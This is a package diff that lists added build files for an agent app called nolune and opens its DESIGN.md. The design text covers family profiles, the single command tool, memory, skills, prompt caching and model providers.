  383. package/build/server/chunks/chunks/core.js-fgH-0YTF.js +6 -0
  384. package/build/server/chunks/chunks/dialog.js-CSahHfdK.js +544 -0
  385. package/build/server/chunks/chunks/dist.js-Dgve-3EB.js +600 -0
  386. package/build/server/chunks/chunks/dist2.js-DzuN_1ds.js +347 -0
  387. package/build/server/chunks/chunks/dropdown-menu.js-CnOm2iRl.js +2396 -0
  388. package/build/server/chunks/chunks/env.js-l0sNRNKZ.js +2 -0
  389. package/build/server/chunks/chunks/eraser.js-CwqAwzLd.js +15 -0
  390. package/build/server/chunks/chunks/exports.js-DPPmkIPk.js +236 -0
  391. package/build/server/chunks/chunks/factory.js-B2lDZWU5.js +2344 -0
  392. package/build/server/chunks/chunks/files.js-BTCcxPsy.js +33 -0
  393. package/build/server/chunks/chunks/folder-input.js-bTjsbAVr.js +19 -0
  394. package/build/server/chunks/chunks/format.js-D-G-GNZJ.js +57 -0
  395. package/build/server/chunks/chunks/forms.js-TIFaBiDZ.js +4052 -0
  396. package/build/server/chunks/chunks/hidden-input.js-3jXOp67_.js +47 -0
  397. package/build/server/chunks/chunks/http.js-B-SIUg23.js +19 -0
  398. package/build/server/chunks/chunks/i18n.js-gmnYop5e.js +5049 -0
  399. package/build/server/chunks/chunks/icons.js-DqrSaQen.js +32087 -0
  400. package/build/server/chunks/chunks/index-server.js-BgjjN9Dl.js +146 -0
  401. package/build/server/chunks/chunks/internal.js-CPnM6pod.js +28 -0
  402. package/build/server/chunks/chunks/internal2.js-BJdu5v6t.js +1135 -0
  403. package/build/server/chunks/chunks/key-round.js-ALDn8H2Z.js +20 -0
  404. package/build/server/chunks/chunks/last-profile.js-CGCyMPCt.js +6 -0
  405. package/build/server/chunks/chunks/media-refs.js-CTbNjDi5.js +129 -0
  406. package/build/server/chunks/chunks/memory-categories.js-BMxcWbJ1.js +141 -0
  407. package/build/server/chunks/chunks/memory-export.js-B-0sQxo9.js +126 -0
  408. package/build/server/chunks/chunks/memory.js-BmjM2yTP.js +25 -0
  409. package/build/server/chunks/chunks/message-circle.js-Boy7xak8.js +15 -0
  410. package/build/server/chunks/chunks/motion.js-e6Xy0FvI.js +224 -0
  411. package/build/server/chunks/chunks/node.js-B1BYsTq2.js +9 -0
  412. package/build/server/chunks/chunks/node2.js-BoQ3pSBK.js +7 -0
  413. package/build/server/chunks/chunks/node3.js-DUajZgS1.js +2420 -0
  414. package/build/server/chunks/chunks/openai.js-usndTuuG.js +20473 -0
  415. package/build/server/chunks/chunks/paths.js-Dv5_wc5b.js +19 -0
  416. package/build/server/chunks/chunks/pencil.js-BBTMEZ3O.js +15 -0
  417. package/build/server/chunks/chunks/plus.js-BEkOQr9Q.js +15 -0
  418. package/build/server/chunks/chunks/preferences.svelte.js-CzoLtrIH.js +93 -0
  419. package/build/server/chunks/chunks/remote.js-DRgAwsBW.js +3 -0
  420. package/build/server/chunks/chunks/rolldown-runtime.js-n5G0F_TW.js +37 -0
  421. package/build/server/chunks/chunks/routing.js-CQ7vk27s.js +265 -0
  422. package/build/server/chunks/chunks/schedule.js-22hng-Kw.js +296 -0
  423. package/build/server/chunks/chunks/sdk.js-CRLWYx_O.js +42918 -0
  424. package/build/server/chunks/chunks/sdk2.js-Dp6IbCdi.js +13701 -0
  425. package/build/server/chunks/chunks/sdk3.js-DEwIpbCP.js +4 -0
  426. package/build/server/chunks/chunks/select.js-DGOA1VL9.js +1965 -0
  427. package/build/server/chunks/chunks/server.js-XxNf6kVC.js +3907 -0
  428. package/build/server/chunks/chunks/shared.js-1FwmeXhQ.js +789 -0
  429. package/build/server/chunks/chunks/sidebar.js-B-PyxBE9.js +1498 -0
  430. package/build/server/chunks/chunks/square-pen.js-B7nqpNVl.js +20 -0
  431. package/build/server/chunks/chunks/src.js-Cb-pJk2c.js +25288 -0
  432. package/build/server/chunks/chunks/state.js-CrwNc-tR.js +67 -0
  433. package/build/server/chunks/chunks/suggestions.js-DxdV1W1D.js +15 -0
  434. package/build/server/chunks/chunks/switch.js-CDuy0MzW.js +283 -0
  435. package/build/server/chunks/chunks/terminal.js-BEi5NMPR.js +15 -0
  436. package/build/server/chunks/chunks/textarea.js-DnOcXQXd.js +25 -0
  437. package/build/server/chunks/chunks/tint.js-D75gRPbz.js +165 -0
  438. package/build/server/chunks/chunks/tooltip.js-0flEKjnb.js +5863 -0
  439. package/build/server/chunks/chunks/uneval.js-C7SIrMEV.js +536 -0
  440. package/build/server/chunks/chunks/usage.js-BzKKyzUN.js +27 -0
  441. package/build/server/chunks/chunks/utils.js-rQQrRQUR.js +1020 -0
  442. package/build/server/chunks/chunks/utils2.js-BgS8NcJx.js +1167 -0
  443. package/build/server/chunks/chunks/zod.js-DkbjBCP6.js +18824 -0
  444. package/build/server/chunks/chunks/zod2.js-FNRC10wS.js +4 -0
  445. package/build/server/chunks/entries/endpoints/api/c/_id_/continue/_server.ts.js-DPkjAoli.js +45 -0
  446. package/build/server/chunks/entries/endpoints/api/c/_id_/effort/_server.ts.js-B8su8yn5.js +46 -0
  447. package/build/server/chunks/entries/endpoints/api/c/_id_/events/_server.ts.js-CLDxKKTx.js +73 -0
  448. package/build/server/chunks/entries/endpoints/api/c/_id_/folder/_server.ts.js-DT3NoKYe.js +54 -0
  449. package/build/server/chunks/entries/endpoints/api/c/_id_/media/_mediaId_/_server.ts.js-bvxQlwcS.js +52 -0
  450. package/build/server/chunks/entries/endpoints/api/c/_id_/messages/_server.ts.js-ClMX8O_R.js +57 -0
  451. package/build/server/chunks/entries/endpoints/api/c/_id_/preset/_server.ts.js-DQ8N5-g_.js +50 -0
  452. package/build/server/chunks/entries/endpoints/api/c/_id_/stop/_server.ts.js-4v8WbwCB.js +43 -0
  453. package/build/server/chunks/entries/endpoints/api/events/_server.ts.js-lUrCowKV.js +78 -0
  454. package/build/server/chunks/entries/endpoints/api/hooks/_token_/_server.ts.js-CoqUCiud.js +49 -0
  455. package/build/server/chunks/entries/endpoints/api/icons/_name_/_server.ts.js-k_TzYggq.js +18 -0
  456. package/build/server/chunks/entries/endpoints/api/models/_server.ts.js-BnE6M4aY.js +56 -0
  457. package/build/server/chunks/entries/endpoints/api/notifications/_id_/continue/_server.ts.js-7cVqAe1A.js +50 -0
  458. package/build/server/chunks/entries/endpoints/api/notifications/_id_/dismiss/_server.ts.js-nebszEA8.js +42 -0
  459. package/build/server/chunks/entries/endpoints/api/notifications/clear/_server.ts.js-8UNQWqlv.js +43 -0
  460. package/build/server/chunks/entries/endpoints/api/notifications/seen/_server.ts.js-BigNQ41d.js +43 -0
  461. package/build/server/chunks/entries/endpoints/api/p/_slug_/folders/_folder_/files/_file_/_server.ts.js-CVZofPL8.js +56 -0
  462. package/build/server/chunks/entries/endpoints/api/p/_slug_/folders/_server.ts.js--huBNcxm.js +57 -0
  463. package/build/server/chunks/entries/endpoints/api/p/_slug_/memory/_id_/undo/_server.ts.js-DILraLKg.js +57 -0
  464. package/build/server/chunks/entries/endpoints/api/p/_slug_/running/_server.ts.js-DysLWyt1.js +79 -0
  465. package/build/server/chunks/entries/endpoints/api/p/_slug_/suggestions/_server.ts.js-B8HQNn05.js +53 -0
  466. package/build/server/chunks/entries/endpoints/api/p/_slug_/templates/_id_/cover/_server.ts.js-DCJqd-KE.js +59 -0
  467. package/build/server/chunks/entries/endpoints/api/p/_slug_/uploads/_id_/_server.ts.js-DJh0dkU7.js +44 -0
  468. package/build/server/chunks/entries/endpoints/api/p/_slug_/uploads/_server.ts.js-CQi0je7g.js +72 -0
  469. package/build/server/chunks/entries/endpoints/logout/_server.ts.js-iwUOTHUJ.js +46 -0
  470. package/build/server/chunks/entries/fallbacks/error.svelte.js-BjT9T-qE.js +22 -0
  471. package/build/server/chunks/entries/hooks.server.js-CA451orY.js +1956 -0
  472. package/build/server/chunks/entries/pages/_layout.server.ts.js-DeA1Se1v.js +34 -0
  473. package/build/server/chunks/entries/pages/_layout.svelte.js-Cc0HS5vE.js +77 -0
  474. package/build/server/chunks/entries/pages/_page.server.ts.js-BP9VmKmv.js +20 -0
  475. package/build/server/chunks/entries/pages/_page.svelte.js-BP2EdQl3.js +5 -0
  476. package/build/server/chunks/entries/pages/admin/_page.server.ts.js-BGy54zg7.js +310 -0
  477. package/build/server/chunks/entries/pages/admin/_page.svelte.js-DC0lzbwL.js +2092 -0
  478. package/build/server/chunks/entries/pages/login/_page.server.ts.js-to8Vy4NV.js +42 -0
  479. package/build/server/chunks/entries/pages/login/_page.svelte.js-CRFRcLqG.js +74 -0
  480. package/build/server/chunks/entries/pages/p/_slug_/_layout.server.ts.js-BATtKhxU.js +50 -0
  481. package/build/server/chunks/entries/pages/p/_slug_/_layout.svelte.js-B4A4RVlj.js +1897 -0
  482. package/build/server/chunks/entries/pages/p/_slug_/_page.server.ts.js-CwhG-rBA.js +71 -0
  483. package/build/server/chunks/entries/pages/p/_slug_/_page.svelte.js-v85HZSJv.js +132 -0
  484. package/build/server/chunks/entries/pages/p/_slug_/automations/_page.server.ts.js-BYjEh_94.js +269 -0
  485. package/build/server/chunks/entries/pages/p/_slug_/automations/_page.svelte.js-C9MxplNZ.js +423 -0
  486. package/build/server/chunks/entries/pages/p/_slug_/c/_id_/_page.server.ts.js-DqYn7Ov8.js +68 -0
  487. package/build/server/chunks/entries/pages/p/_slug_/c/_id_/_page.svelte.js-DO1qyELK.js +2072 -0
  488. package/build/server/chunks/entries/pages/p/_slug_/f/_folder_/_page.server.ts.js-DK68gPIS.js +101 -0
  489. package/build/server/chunks/entries/pages/p/_slug_/f/_folder_/_page.svelte.js-a31Wj0H5.js +321 -0
  490. package/build/server/chunks/entries/pages/p/_slug_/images/_page.server.ts.js-DYwxYJjv.js +145 -0
  491. package/build/server/chunks/entries/pages/p/_slug_/images/_page.svelte.js-H3zU7YA6.js +526 -0
  492. package/build/server/chunks/entries/pages/p/_slug_/memory/_page.server.ts.js-C6jVrFqG.js +99 -0
  493. package/build/server/chunks/entries/pages/p/_slug_/memory/_page.svelte.js-D54hFXGF.js +902 -0
  494. package/build/server/chunks/entries/pages/p/_slug_/settings/_page.server.ts.js-BvhbrusJ.js +106 -0
  495. package/build/server/chunks/entries/pages/p/_slug_/settings/_page.svelte.js-K9Rx0fue.js +581 -0
  496. package/build/server/chunks/entries/pages/p/_slug_/skills/_page.server.ts.js-X_toxkHr.js +45 -0
  497. package/build/server/chunks/entries/pages/p/_slug_/skills/_page.svelte.js-9BpNF-xF.js +132 -0
  498. package/build/server/chunks/entries/pages/p/_slug_/welcome/_page.server.ts.js-1d4vkOo-.js +129 -0
  499. package/build/server/chunks/entries/pages/p/_slug_/welcome/_page@.svelte.js-32N16gxF.js +223 -0
  500. package/build/server/chunks/entries/pages/profiles/_page.server.ts.js-CYu6Uj8H.js +32 -0
  501. package/build/server/chunks/entries/pages/profiles/_page.svelte.js-Bhw4E_wV.js +89 -0
  502. package/build/server/chunks/handler-CsXFmZYe.js +1735 -0
  503. package/build/server/chunks/index.js-kWlRiTFB.js +3700 -0
  504. package/build/server/chunks/manifest.js-BU_jyr1-.js +314 -0
  505. package/build/server/chunks/nodes/0.js-D4qm-LVJ.js +42 -0
  506. package/build/server/chunks/nodes/1.js-Fjtm11_Q.js +9 -0
  507. package/build/server/chunks/nodes/10.js-C0jWz6L_.js +45 -0
  508. package/build/server/chunks/nodes/11.js-CvxSawBf.js +45 -0
  509. package/build/server/chunks/nodes/12.js-CFwkqqPw.js +45 -0
  510. package/build/server/chunks/nodes/13.js-8e3_MY_4.js +45 -0
  511. package/build/server/chunks/nodes/14.js-dFhmLvor.js +45 -0
  512. package/build/server/chunks/nodes/15.js-alFwV-ia.js +45 -0
  513. package/build/server/chunks/nodes/2.js-DlqVofm5.js +46 -0
  514. package/build/server/chunks/nodes/3.js-B11kFzfi.js +45 -0
  515. package/build/server/chunks/nodes/4.js-CJOa-BdF.js +46 -0
  516. package/build/server/chunks/nodes/5.js-BiasAa82.js +50 -0
  517. package/build/server/chunks/nodes/6.js-vEMr5YOn.js +47 -0
  518. package/build/server/chunks/nodes/7.js-BwwcgtyP.js +45 -0
  519. package/build/server/chunks/nodes/8.js-Mqkjlq-6.js +45 -0
  520. package/build/server/chunks/nodes/9.js-DtRpQ_En.js +45 -0
  521. package/build/shims.js +33 -0
  522. package/dist/chunks/chunk-45BRG6A7.js +85 -0
  523. package/dist/chunks/chunk-CL6JQXXZ.js +38 -0
  524. package/dist/chunks/chunk-KZL3QNDA.js +14397 -0
  525. package/dist/chunks/chunk-N4H4AYCQ.js +20 -0
  526. package/dist/chunks/chunk-W4U7L4LF.js +47 -0
  527. package/dist/chunks/io-DMGTB3B7.js +12 -0
  528. package/dist/chunks/node-4RSVEEU6.js +2233 -0
  529. package/dist/chunks/node-BBTNNFRQ.js +20 -0
  530. package/dist/chunks/openai-LNQCFHTY.js +21690 -0
  531. package/dist/chunks/run-6LM42GJD.js +22287 -0
  532. package/dist/chunks/sdk-UNMKBESV.js +53 -0
  533. package/dist/chunks/sdk-Z2WD4F5K.js +30854 -0
  534. package/dist/chunks/zod-H7KMPIPH.js +19934 -0
  535. package/dist/cli.js +130 -0
  536. package/package.json +102 -0
  537. package/packages/core/drizzle/0000_init.sql +123 -0
  538. package/packages/core/drizzle/0001_triggers.sql +82 -0
  539. package/packages/core/drizzle/0002_default_preset.sql +1 -0
  540. package/packages/core/drizzle/0003_trigger_summary.sql +2 -0
  541. package/packages/core/drizzle/0004_skill_toggles.sql +1 -0
  542. package/packages/core/drizzle/0005_media.sql +21 -0
  543. package/packages/core/drizzle/0006_attachments.sql +25 -0
  544. package/packages/core/drizzle/0007_folders.sql +35 -0
  545. package/packages/core/drizzle/0008_avatars.sql +26 -0
  546. package/packages/core/drizzle/0009_subagents.sql +28 -0
  547. package/packages/core/drizzle/0010_soul.sql +1 -0
  548. package/packages/core/drizzle/0011_claude_plan.sql +1 -0
  549. package/packages/core/drizzle/0012_model_switch.sql +4 -0
  550. package/packages/core/drizzle/0013_nolune_format.sql +1 -0
  551. package/packages/core/drizzle/0014_nolune_rename.sql +3 -0
  552. package/packages/core/drizzle/0015_learn_from_chats.sql +2 -0
  553. package/packages/core/drizzle/0016_memory_changes.sql +19 -0
  554. package/packages/core/drizzle/0017_member_person_note.sql +1 -0
  555. package/packages/core/drizzle/meta/0000_snapshot.json +809 -0
  556. package/packages/core/drizzle/meta/0001_snapshot.json +1354 -0
  557. package/packages/core/drizzle/meta/0002_snapshot.json +1362 -0
  558. package/packages/core/drizzle/meta/0003_snapshot.json +1376 -0
  559. package/packages/core/drizzle/meta/0004_snapshot.json +1384 -0
  560. package/packages/core/drizzle/meta/0005_snapshot.json +1523 -0
  561. package/packages/core/drizzle/meta/0006_snapshot.json +1679 -0
  562. package/packages/core/drizzle/meta/0007_snapshot.json +1921 -0
  563. package/packages/core/drizzle/meta/0008_snapshot.json +1929 -0
  564. package/packages/core/drizzle/meta/0009_snapshot.json +2109 -0
  565. package/packages/core/drizzle/meta/0010_snapshot.json +2117 -0
  566. package/packages/core/drizzle/meta/0011_snapshot.json +2124 -0
  567. package/packages/core/drizzle/meta/0012_snapshot.json +2138 -0
  568. package/packages/core/drizzle/meta/0013_snapshot.json +2145 -0
  569. package/packages/core/drizzle/meta/0014_snapshot.json +2145 -0
  570. package/packages/core/drizzle/meta/0015_snapshot.json +2160 -0
  571. package/packages/core/drizzle/meta/0016_snapshot.json +2286 -0
  572. package/packages/core/drizzle/meta/0017_snapshot.json +2293 -0
  573. package/packages/core/drizzle/meta/_journal.json +132 -0
  574. package/packages/core/image-templates/app-icon/TEMPLATE.md +37 -0
  575. package/packages/core/image-templates/app-icon/cover.webp +0 -0
  576. package/packages/core/image-templates/coloring-page/TEMPLATE.md +14 -0
  577. package/packages/core/image-templates/coloring-page/cover.webp +0 -0
  578. package/packages/core/image-templates/concept-art/TEMPLATE.md +46 -0
  579. package/packages/core/image-templates/concept-art/cover.webp +0 -0
  580. package/packages/core/image-templates/couple-portrait/TEMPLATE.md +35 -0
  581. package/packages/core/image-templates/couple-portrait/cover.webp +0 -0
  582. package/packages/core/image-templates/dream-bouquet/TEMPLATE.md +36 -0
  583. package/packages/core/image-templates/dream-bouquet/cover.webp +0 -0
  584. package/packages/core/image-templates/family-crest/TEMPLATE.md +38 -0
  585. package/packages/core/image-templates/family-crest/cover.webp +0 -0
  586. package/packages/core/image-templates/nail-art/TEMPLATE.md +32 -0
  587. package/packages/core/image-templates/nail-art/cover.webp +0 -0
  588. package/packages/core/image-templates/outfit-board/TEMPLATE.md +46 -0
  589. package/packages/core/image-templates/outfit-board/cover.webp +0 -0
  590. package/packages/core/image-templates/party-invitation/TEMPLATE.md +49 -0
  591. package/packages/core/image-templates/party-invitation/cover.webp +0 -0
  592. package/packages/core/image-templates/photo-booth/TEMPLATE.md +33 -0
  593. package/packages/core/image-templates/photo-booth/cover.webp +0 -0
  594. package/packages/core/image-templates/scribble/TEMPLATE.md +29 -0
  595. package/packages/core/image-templates/scribble/cover.webp +0 -0
  596. package/packages/core/image-templates/sprite-sheet/TEMPLATE.md +45 -0
  597. package/packages/core/image-templates/sprite-sheet/cover.webp +0 -0
  598. package/packages/core/image-templates/sticker-pack/TEMPLATE.md +37 -0
  599. package/packages/core/image-templates/sticker-pack/cover.webp +0 -0
  600. package/packages/core/image-templates/storybook-page/TEMPLATE.md +34 -0
  601. package/packages/core/image-templates/storybook-page/cover.webp +0 -0
  602. package/packages/core/image-templates/tattoo/TEMPLATE.md +44 -0
  603. package/packages/core/image-templates/tattoo/cover.webp +0 -0
  604. package/packages/core/image-templates/tileable-texture/TEMPLATE.md +34 -0
  605. package/packages/core/image-templates/tileable-texture/cover.webp +0 -0
  606. package/packages/core/image-templates/tiny-world/TEMPLATE.md +15 -0
  607. package/packages/core/image-templates/tiny-world/cover.webp +0 -0
  608. package/packages/core/image-templates/trip-postcard/TEMPLATE.md +21 -0
  609. package/packages/core/image-templates/trip-postcard/cover.webp +0 -0
  610. package/packages/core/image-templates/wanted-poster/TEMPLATE.md +27 -0
  611. package/packages/core/image-templates/wanted-poster/cover.webp +0 -0
  612. package/packages/core/skills/automations/SKILL.md +91 -0
  613. package/packages/core/skills/generate-images/SKILL.md +115 -0
  614. package/packages/core/skills/nolune/SKILL.md +281 -0
  615. package/packages/core/skills/subagents/SKILL.md +91 -0
  616. package/packages/core/skills/view-images/SKILL.md +88 -0
package/DESIGN.md ADDED
@@ -0,0 +1,1622 @@
1
+ # nolune design
2
+
3
+ A small agent that runs on one Mac and does things on it for a family. One gateway process serves
4
+ a web UI. Family members share **profiles**. Each profile has its own conversations, workspace
5
+ folder, skills and memory. The agent has a single tool, `run_command`.
6
+
7
+ ## Decisions
8
+
9
+ | Area | Decision |
10
+ | ------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
11
+ | Execution | Commands run as the gateway's macOS user with full access to the disk and no approval step. There is no sandbox. The profile folder is only the default working folder. A "smart mode" that auto-approves or rejects commands may come later. |
12
+ | Clients | Family members use the web UI only. The CLI is for the owner and for the agent itself (skill templates, self-configuration, which the built-in `nolune` skill explains). |
13
+ | Exposure | Public through a tunnel on a VPS. Every route requires login. The sign-up endpoint is disabled: accounts are created only with the local CLI, and passwords must be long and strong. |
14
+ | Profiles | Any user can create a profile. Any member can add or remove members, rename the profile, or delete it. Deleting moves the folder to `~/.nolune/trash/` instead of erasing it. |
15
+ | Conversations | Shared by every member of the profile. Messages go through a queue, and a message sent while the agent is working is fed into its next step (steering). Anyone can press Stop. |
16
+ | Sender identity | Every human message is sent to the model as `Name: text`. Attached files come first, each as a line saying who attached it and where it was saved, followed by the picture or PDF itself when the model gets one. Display names are unique across the gateway. |
17
+ | Attachments | Any file, up to 100 MB and 10 per message, saved in the profile's `attachments` folder. nolune keeps a copy of each picture and PDF the model gets and sends it by reference: through the provider's Files API (base64 only if an upload fails), whichever provider the chat moves to; the plans have none, so pictures go inline, and PDFs too on the Claude plan and as their path on the ChatGPT plan. Every other file goes as its path. |
18
+ | Providers | Anthropic, OpenAI and OpenRouter (API keys), custom providers (your own model servers), and two plans, someone's subscription instead of a key (see [Plans](#plans)): `claude-plan`, a Pro or Max plan in Claude Code, and `chatgpt-plan`, a ChatGPT plan in OpenAI's Codex, which nolune runs on this computer. Keys, custom providers and presets are all global, managed by the admin with the CLI or the `/admin` page (Models & keys). A preset has a name (default `<model> (<provider>)`), a provider, a model and an optional window override. One preset is the default (the oldest until an admin picks one): new chats and automations without one use it. See [Model providers](#model-providers). |
19
+ | Preset switching | Allowed at any time, from the model chip in a chat's composer (or `nolune agent run <id> --preset` for a subagent). The next model call uses the new model, and another provider gets the history translated. See [Switching models](#switching-models). |
20
+ | Reasoning | Chosen per conversation (`low` / `medium` / `high` / `xhigh` / `max`, default `medium`). It can be changed later, but on Claude that rebuilds the conversation's cache once, so the chat asks first. |
21
+ | System prompt | Built once when the conversation is created: instructions, the profile's soul, the skills catalog and, for a chat in a folder, the folder's instructions and file paths. **It is not changed afterwards, and no update notices are added,** with one exception: when the chat moves to another folder, or its folder or the soul changes, it is built again at the start of the next turn (one cache miss). If skills change in another conversation, this conversation only sees it by running commands. Of memory, only `core` and the note names are in it: chats outside folders share a prompt. |
22
+ | Memory | Short Markdown notes per profile, in fixed categories (a note each, or one per person or project), that the agent searches, reads and changes with `nolune memory`, like any other command. The system prompt has the pinned `core` note in full and lists the others by name; the facts that share words with a message go along with it, and once a chat goes quiet its model looks it over and saves what the agent missed. The family sees and edits them on the Memory page. See [Memory](#memory). |
23
+ | Soul | Who nolune is for a profile (character, values, tone), in `soul.md` in its folder, at most 4,000 characters. It opens every chat's system prompt. The family edits it in the profile's settings; the agent changes it itself with `nolune soul write` and says so. See [Soul](#soul). |
24
+ | Folders | Group a profile's chats, like ChatGPT's projects. A folder has instructions and files; its chats get the instructions and the files' paths (never the files themselves) in their system prompt. Chats are dragged into folders in the sidebar or started in one. See [Folders](#folders). |
25
+ | Skills | Follow [agentskills.io](https://agentskills.io/client-implementation/adding-skills-support). They are read from `~/.nolune/profiles/<slug>/skills`, `~/.agents/skills` and the built-in skills (`packages/core/skills`: `automations`, `view-images`, `generate-images`, `subagents`, `nolune`); a profile skill overrides a global one, and both override a built-in one with the same name. The agent loads a skill by running `cat` on its `SKILL.md`, and creates new ones with `nolune skill new`. |
26
+ | Pictures and files | The agent writes Markdown: `![alt](path or URL)` shows a picture, `[label](path)` hands over a file. The gateway copies each one, byte for byte, when the reply is saved, and the chat only ever loads those copies. Web pictures only from links the agent found, never from the local network. The agent looks at pictures itself with `nolune view`, which attaches them to that command's result. There is no tool for either. |
27
+ | Web search | Handled by a skill that uses the firecrawl CLI. The gateway has no code for it. |
28
+ | Background work | `run_command` takes `run_in_background` (new chats): the call returns at once, and the command's output joins the conversation as a message when it ends. See [Background commands](#background-commands). |
29
+ | Subagents | `nolune agent run` starts another agent in a hidden conversation of its own that starts with only its task, and caches its prompt for 5 minutes. The agent hears back by running `nolune agent watch` in the background, and can steer it and read its log. No new tool. See [Subagents](#subagents). |
30
+ | Making pictures | The agent runs `nolune generate image` (OpenAI's Image API, `gpt-image-2.5-flare` by default; each other provider would be one more module). Templates belong to the Images page, which turns one and its settings into a finished prompt in the message it sends; the CLI knows nothing about them. |
31
+
32
+ ## Files on disk
33
+
34
+ ```
35
+ ~/.nolune/ (override with NOLUNE_HOME)
36
+ config.json auth secret, Anthropic, OpenAI and OpenRouter keys, custom providers
37
+ (name, API, address, key), image model,
38
+ extra env vars for commands, where Claude Code and Codex are if set
39
+ (mode 600)
40
+ codex/ Codex's home for the ChatGPT plan: its sign-in (which nolune never
41
+ reads), and the chats' threads under sessions/
42
+ nolune.db SQLite: users, sessions, profiles, presets, folders, conversations,
43
+ messages, media, uploads, provider files, triggers, trigger runs,
44
+ notifications, subagents, running background commands
45
+ media/<sha256> copies of the pictures and files shown in chats, and of attached
46
+ files not sent yet
47
+ image-templates/<id>/ Images page templates for every profile (TEMPLATE.md, cover.webp)
48
+ bin/nolune shim so the agent can run `nolune` from any command
49
+ profiles/<slug>/ default working folder for commands in this profile
50
+ soul.md who nolune is for this profile; opens every chat's prompt
51
+ memories/<category>.md long-term memory: a note per category (home.md, plans.md, …)
52
+ memories/people/<name>.md a note per person, in the family or not; projects/ likewise
53
+ memories/core.md the pinned note, copied into every new chat's prompt
54
+ memories/.facts.json when each fact in memory was first seen
55
+ memories/.embeddings.json each fact's embedding, for search by meaning, and their model
56
+ memories/.suggestions.json each member's new-chat chips, and the memory they were made from
57
+ skills/<name>/SKILL.md
58
+ attachments/ files people attached to messages
59
+ image-templates/<id>/ this profile's own templates
60
+ images/ what `nolune generate image` made
61
+ folders/<folder>/ files added to a chat folder
62
+ agents/<chat>/<id>.log what each subagent said and ran (no reasoning), for the agent that
63
+ started it; <chat> is the first 8 characters of that chat's id
64
+ trash/<slug>-<timestamp>/ deleted profiles (and deleted folders' files)
65
+ ~/.agents/skills/<name>/SKILL.md global skills, visible to every profile
66
+ ```
67
+
68
+ The folder name is a slug that is fixed when the profile is created. Renaming a profile changes
69
+ only its display name, so the skill paths already in system prompts stay valid.
70
+
71
+ The profile also stores its assistant's avatar (`profile.avatar`, one of eight names). A new profile
72
+ gets the one its slug picks; see [Assistant avatars](#assistant-avatars).
73
+
74
+ Every skill is on in every profile until someone turns it off, on the profile's Skills page or with
75
+ `nolune skill disable`. The profile stores the names it turned off (`profile.disabled_skills`), so skills
76
+ added later start out on. Skills that are off are left out of the catalog when a conversation is
77
+ created; conversations already running keep the catalog they started with.
78
+
79
+ ## Prompt caching
80
+
81
+ The rule: **the request prefix must stay byte-identical, so history is only ever appended to.**
82
+
83
+ - Order of the request: `tools` → `system` → `messages`, the first two the conversation's own
84
+ saved copies. Tools are saved with each chat (`conversation.tools`) like its system prompt, because
85
+ a thinking block is bound to the tools it was made with: changing them for an existing chat would
86
+ cost it a cache miss and, on Opus 5.5 and Fable 5.1, invalidate the thinking in its history (a
87
+ 400 on accounts created since 2026-08-31). So a new version of nolune that changes a tool only
88
+ reaches new chats. Chats from before tools were saved send the first `run_command`
89
+ (`RUN_COMMAND_TOOL_V1`, which must never change); new ones get the one with `run_in_background`.
90
+ - Each assistant response is stored as the exact `content` JSON the API returned, thinking blocks and
91
+ their signatures included, and is sent back unchanged to the model that wrote it. nolune's own rows
92
+ are stored in its own format and turned into the provider's the same way on every call (see
93
+ [nolune's format](#nolunes-format)). Command output is truncated once, when the tool result is
94
+ created, and never later.
95
+ - Cache markers: `cache_control: {type: "ephemeral", ttl: "1h"}` on the system block, plus the same
96
+ setting at the top level of the request (automatic caching of the growing tail). Both use the
97
+ same TTL, because the API requires longer-TTL entries to come before shorter ones. The TTL is
98
+ per conversation (`conversation.cache_ttl`): an hour for chats, where people answer minutes
99
+ apart, and 5 minutes for subagents, whose steps follow each other within seconds, so the
100
+ cheaper 5-minute write (1.25x the input price, against 2x for an hour) is enough.
101
+ - Tool definitions, cache TTL and system prompt are fixed per conversation (the prompt is built
102
+ again only when the chat's folder changes; see [Folders](#folders)), and the model changes only
103
+ when someone switches it (see [Switching models](#switching-models)). Thinking uses
104
+ `adaptive` with `display: "summarized"`, the same for every conversation. The only per-conversation
105
+ knob is `effort`.
106
+ - Facts recalled from memory go into the message they came with, not the system prompt (see
107
+ [Memory](#memory)).
108
+ - Steering messages, stop results and restart-recovery results are **appended** as new rows. Nothing
109
+ is ever edited or deleted. Opus 5.5 and Fable 5.1 require this anyway for "preserved thinking":
110
+ replaying a thinking block after its prefix changed returns a 400 on newer accounts.
111
+ - Every assistant row stores `usage`, and the gateway logs `cache_read` / `cache_write` and the hit
112
+ rate for every call. The chat header shows the hit rate (tooltip: last reply and whole conversation),
113
+ and a reply is marked as a cache miss when it read less than the previous call read or wrote, with
114
+ the likely cause: over an hour idle (the TTL) or a changed request such as a new model or
115
+ reasoning level.
116
+
117
+ ### On OpenAI
118
+
119
+ OpenAI's prompt cache is automatic, and the rule above is what keeps it working: `instructions`
120
+ (the system prompt), the tools, then the input items, with only the input growing. Requests carry
121
+ `prompt_cache_key` (the conversation's id), which keeps a conversation's calls on the same cache.
122
+ `cacheTtl` and the cache markers are Anthropic's alone. Usage reports `cached_tokens` (and, on
123
+ newer models, `cache_write_tokens`) inside `input_tokens`; nolune subtracts them, so the chat's
124
+ numbers mean the same for both providers.
125
+
126
+ ### On OpenRouter
127
+
128
+ The same rule, over Chat Completions: the system message, the tools, then the messages, with only
129
+ the messages growing. Claude only caches what's marked, so for `anthropic/` models (and their
130
+ `~anthropic/` aliases) the system message carries `cache_control` with the conversation's TTL,
131
+ and so does the request's top level (automatic caching of the growing tail), as with Anthropic's
132
+ own API. Other models (OpenAI's, Gemini, DeepSeek, Grok...) cache on their own and get no
133
+ markers. Requests carry `session_id` (the conversation's id), which keeps a conversation on the
134
+ same provider behind OpenRouter, whose cache holds its earlier calls. Usage reports
135
+ `cached_tokens` and `cache_write_tokens` inside `prompt_tokens`; nolune subtracts them, as for OpenAI.
136
+
137
+ ## Model providers
138
+
139
+ A conversation runs on its preset's provider until someone switches it to another preset (see
140
+ [Switching models](#switching-models)). `models.ts` is what the rest of nolune calls: it picks the
141
+ provider's module (`anthropic.ts`, `openai-chat.ts`, `openrouter.ts`, `custom-providers.ts`) for
142
+ the model call, the
143
+ chat's title, PDF token counts, model checks and what the model can be sent, and gets back the
144
+ same shape from each (the reply's content, its stop reason in Anthropic's words, usage, tool calls
145
+ and texts). Each API provider brings a `FileStore` for pictures and PDFs (see
146
+ [Attachments](#attachments)). The plans are different: the plan maker's own agent (Claude Code in
147
